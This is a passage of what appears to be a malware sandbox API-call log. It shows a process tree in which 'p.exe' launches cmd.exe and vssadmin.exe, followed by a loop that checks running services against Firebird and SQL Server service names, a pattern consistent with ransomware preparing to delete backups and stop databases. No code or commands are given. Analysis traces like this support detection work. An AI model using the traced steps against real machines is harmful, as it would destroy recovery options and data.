	[0105.625] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0105.626] lstrlenW (lpString="algebra validity.exe") returned 20
	[0105.626] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0105.627] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0105.627] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0105.627] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0105.627] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0105.628] lstrlenW (lpString="p.exe") returned 5
	[0105.628] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0105.629] lstrlenW (lpString="cmd.exe") returned 7
	[0105.629] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0105.630] lstrlenW (lpString="conhost.exe") returned 11
	[0105.630] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0105.630] lstrlenW (lpString="vssadmin.exe") returned 12
	[0105.630] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0105.631] lstrlenW (lpString="VSSVC.exe") returned 9
	[0105.631] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.632] lstrlenW (lpString="svchost.exe") returned 11
	[0105.632] Process32NextW (in: hSnapshot=0x1d0, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0105.632] CloseHandle (hObject=0x1d0) returned 1
	[0105.633] Sleep (dwMilliseconds=0x1f4) 
	[0106.335] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0106.336] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0106.336] GetLastError () returned 0xea
	[0106.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0106.336] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0106.336] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0106.337] lstrlenW (lpString="Appinfo") returned 7
	[0106.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0106.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0106.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0106.337] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0106.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0106.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0106.337] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0106.337] lstrlenW (lpString="AudioSrv") returned 8
	[0106.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0106.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0106.337] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0106.337] lstrlenW (lpString="BFE") returned 3
	[0106.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0106.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0106.337] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0106.337] lstrlenW (lpString="CryptSvc") returned 8
	[0106.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0106.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0106.337] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0106.337] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0106.338] lstrlenW (lpString="CscService") returned 10
	[0106.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0106.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0106.338] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0106.338] lstrlenW (lpString="DcomLaunch") returned 10
	[0106.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0106.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0106.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0106.338] lstrlenW (lpString="Dhcp") returned 4
	[0106.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0106.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0106.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0106.338] lstrlenW (lpString="Dnscache") returned 8
	[0106.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0106.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0106.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0106.338] lstrlenW (lpString="DPS") returned 3
	[0106.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0106.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0106.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0106.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0106.338] lstrlenW (lpString="eventlog") returned 8
	[0106.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0106.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0106.339] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0106.339] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0106.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0106.339] lstrlenW (lpString="EventSystem") returned 11
	[0106.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0106.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0106.339] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0106.339] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0106.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0106.339] lstrlenW (lpString="gpsvc") returned 5
	[0106.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0106.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0106.339] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0106.339] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0106.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0106.339] lstrlenW (lpString="iphlpsvc") returned 8
	[0106.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0106.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0106.339] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0106.339] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0106.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0106.339] lstrlenW (lpString="LanmanServer") returned 12
	[0106.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0106.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0106.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0106.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0106.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0106.340] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0106.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0106.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0106.340] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0106.340] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0106.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0106.340] lstrlenW (lpString="lmhosts") returned 7
	[0106.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0106.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0106.340] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0106.340] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0106.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0106.340] lstrlenW (lpString="MMCSS") returned 5
	[0106.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0106.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0106.340] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0106.340] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0106.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0106.340] lstrlenW (lpString="MpsSvc") returned 6
	[0106.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0106.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0106.340] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0106.340] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0106.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0106.340] lstrlenW (lpString="Netman") returned 6
	[0106.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0106.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0106.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0106.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0106.341] lstrlenW (lpString="netprofm") returned 8
	[0106.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0106.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0106.341] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0106.341] lstrlenW (lpString="NlaSvc") returned 6
	[0106.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0106.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0106.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0106.341] lstrlenW (lpString="nsi") returned 3
	[0106.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0106.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0106.341] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0106.341] lstrlenW (lpString="PcaSvc") returned 6
	[0106.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0106.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0106.341] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0106.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0106.341] lstrlenW (lpString="PlugPlay") returned 8
	[0106.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0106.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0106.342] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0106.342] lstrlenW (lpString="Power") returned 5
	[0106.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0106.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0106.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0106.342] lstrlenW (lpString="ProfSvc") returned 7
	[0106.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0106.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0106.342] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0106.342] lstrlenW (lpString="RpcEptMapper") returned 12
	[0106.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0106.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0106.342] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0106.342] lstrlenW (lpString="RpcSs") returned 5
	[0106.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0106.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0106.342] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0106.342] lstrlenW (lpString="SamSs") returned 5
	[0106.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0106.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0106.342] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0106.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0106.343] lstrlenW (lpString="Schedule") returned 8
	[0106.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0106.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0106.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0106.343] lstrlenW (lpString="SENS") returned 4
	[0106.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0106.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0106.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0106.343] lstrlenW (lpString="ShellHWDetection") returned 16
	[0106.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0106.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0106.343] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0106.343] lstrlenW (lpString="Spooler") returned 7
	[0106.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0106.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0106.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0106.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0106.343] lstrlenW (lpString="swprv") returned 5
	[0106.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0106.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0106.344] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0106.344] lstrlenW (lpString="SysMain") returned 7
	[0106.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0106.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0106.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0106.344] lstrlenW (lpString="Themes") returned 6
	[0106.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0106.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0106.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0106.344] lstrlenW (lpString="TrkWks") returned 6
	[0106.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0106.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0106.344] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0106.344] lstrlenW (lpString="UxSms") returned 5
	[0106.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0106.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0106.344] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0106.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0106.344] lstrlenW (lpString="VSS") returned 3
	[0106.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0106.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0106.345] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0106.345] lstrlenW (lpString="WdiServiceHost") returned 14
	[0106.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0106.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0106.345] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0106.345] lstrlenW (lpString="WdiSystemHost") returned 13
	[0106.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0106.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0106.345] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0106.345] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0106.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0106.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0106.345] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0106.345] lstrlenW (lpString="Winmgmt") returned 7
	[0106.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0106.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0106.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0106.345] lstrlenW (lpString="WPDBusEnum") returned 10
	[0106.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0106.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0106.345] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0106.345] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
